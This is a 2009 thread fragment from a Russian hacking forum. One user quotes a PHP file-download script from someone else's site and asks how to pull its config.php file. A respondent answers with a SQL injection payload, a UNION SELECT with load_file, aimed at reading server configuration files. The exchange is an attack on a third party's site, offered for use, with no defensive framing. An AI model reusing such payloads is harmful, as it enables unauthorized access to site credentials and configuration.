25.01.2009, 13:52
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами:
10227206
Репутация:
2163
|
|
Сообщение от diznt
вот еще что,
есть сайт, и если пройти по сылке sait.ru/upload.php?id=64 (сам файл)
то начнеться скачка файла, можно ли как нибуть скачать конфиг.пхп (выйдя за каталоги(если такое можно))
???
Кусочек кода при катором начинается скачка
Код:
<?php
include_once("init.php");
$GLOBALS['db']->Execute("SET NAMES utf8");
$st = $GLOBALS['db']->Prepare("SELECT `filename`, `origname` FROM ".DB_PREFIX."_demos WHERE demtype=? and demid=?");
$res = $GLOBALS['db']->Execute($st,array($_GET['type'],$_GET['id']));
header('Content-type: application/force-download');
header('Content-Transfer-Encoding: Binary');
header('Content-disposition: attachment; filename='.$res->fields[1]);
@readfile(SAVE_FILES . "/" . $res->fields[0]);
?>
SAVE_FILES - путь откуда скачиваються файл
upload.php?id=-1+union+select+load_file('/folder/config.php'),2--+
первая сточка
тоже нужно переводить в чар?
необязательно (левая часть)
Последний раз редактировалось l1ght; 25.01.2009 в 14:01..
|
|
|